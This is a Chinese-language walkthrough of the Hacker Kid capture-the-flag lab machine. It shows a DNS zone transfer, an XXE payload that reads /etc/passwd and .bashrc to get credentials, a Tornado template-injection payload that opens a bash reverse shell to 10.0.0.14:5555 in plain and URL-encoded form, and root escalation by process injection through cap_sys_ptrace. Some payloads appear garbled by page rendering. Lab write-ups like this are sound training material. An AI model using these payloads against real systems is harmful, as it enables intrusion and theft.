07 - HACKER KID
07 - HACKER KID: 1.0.1
0x01 下载地址
0x02 靶机目标
root权限,OSCP风格靶机,无需爆破
0x03 工具准备
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<email>
&xxe;
</email>
{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz]
<div data-gb-custom-block data-tag="import"></div>{{os.system('bash -c "bash -i >& /dev/tcp/10.0.0.14/5555 0>&1"')}}0x04 详细步骤
主机发现
端口扫描
Tornado:Python轻量级开发框架
BIND 9.16.1:存在CVE-2020-8625 \ CVE-2021-25216远程代码执行,没有现成利用代码
确认存在DNS服务器
Web信息收集
浏览器访问http://10.0.0.7,靶机作者提示使用dig
浏览器访问http://10.0.0.7/index.html Not Found
浏览器访问http://10.0.0.7/index.php 可以访问,说明存在php环境
点击App
访问http://10.0.0.7/app.html,点击每个链接,都没反应
访问http://10.0.0.7/form.html,并未发现更多有用信息
返回查看首页源码view-source:http://10.0.0.7/index.php,发现源码中存在一段注释提示:提示使用GET参数page_no访问该页面
页面访问http://10.0.0.7/index.php?page_no,出现了新的提示信息
启动Burp测试page_no参数数值
测试数字1-100,步长为1
当测试数值为21时,页面返回长度不同
访问http://10.0.0.7/index.php?page_no=21,靶机作者提供更多的提示信息:存在多个子域访问这个靶机,其中一个域名是hackers.blackhat.local。
修改Kali主机的域名信息
访问http://hackers.blackhat.local/页面并无变化
DNS域传送漏洞
发现新的域名mail.blackhat.local、hackerkid.blackhat.local、hacker.blackhat.local.blackhat.local、www.blackhat.local
把这些域名加入Kali主机hosts文件
访问http://hackerkid.blackhat.local/发现新的页面
访问http://10.0.0.7:9999发现新的页面
在http://hackerkid.blackhat.local/尝试注册1、2、3、4,提示3不可用
将3改为[email protected],依然提示不可用
通过Burp抓包发现,提交数据包含xml version
XXE注入
漏洞验证方法:
不盲打
发现root、saket具有登录权限
使用PHP封装器读取/home/saket/.bashrc文件
将读取文件进行解码
发现一个用户名admin和密码Saket!#$%@!!
将该密码登录http://10.0.0.7:9999,发现并不正确。
通过对密码仔细观察,结合前期读取/etc/passwd中发现的有saket用户,故将saket和Saket!#$%@!!填入http://10.0.0.7:9999,可以登录系统
根据系统提示,测试是否存在name的变量,浏览器访问http://10.0.0.7:9999/?name=123确实存在
SSTI模板注入(获取Shell)
如果没有对用户输入的user.input没有过滤,那么这个地方可能可以执行任意Python代码
通杀Payload:
访问http://10.0.0.7:9999/?name={{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz],页面报错确定存在模板注入
一进步验证http://10.0.0.7:9999/?name=${7*7},{{7*7}},发现页面执行了7*7的运算,进一步确定了该页面存在模板注入
构造Payload,反弹Shell
Kali启用监听5555
浏览器执行http://10.0.0.7:9999/?name=<div data-gb-custom-block data-tag="import"></div>{{os.system('bash -c "bash -i >& /dev/tcp/10.0.0.14/5555 0>&1"')}},但页面报错
故对Payload进行URL编码
http://10.0.0.7:9999/?name=%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.0.14%2F5555%200%3E%261%22')%7D%7D
Shell反弹成功
Capabilities提权
参考文档:
查询具有Cap权限的目录和文件
发现python2.7设置有cap_sys_ptrace+epCap权限
查询系统上以root权限运行的程序
获取利用地址:
进程注入脚本:
该脚本注入成功后会启动tcp 5600端口,查看本地监听端口
Kali主机使用nc连接
root提权成功
最后更新于
这有帮助吗?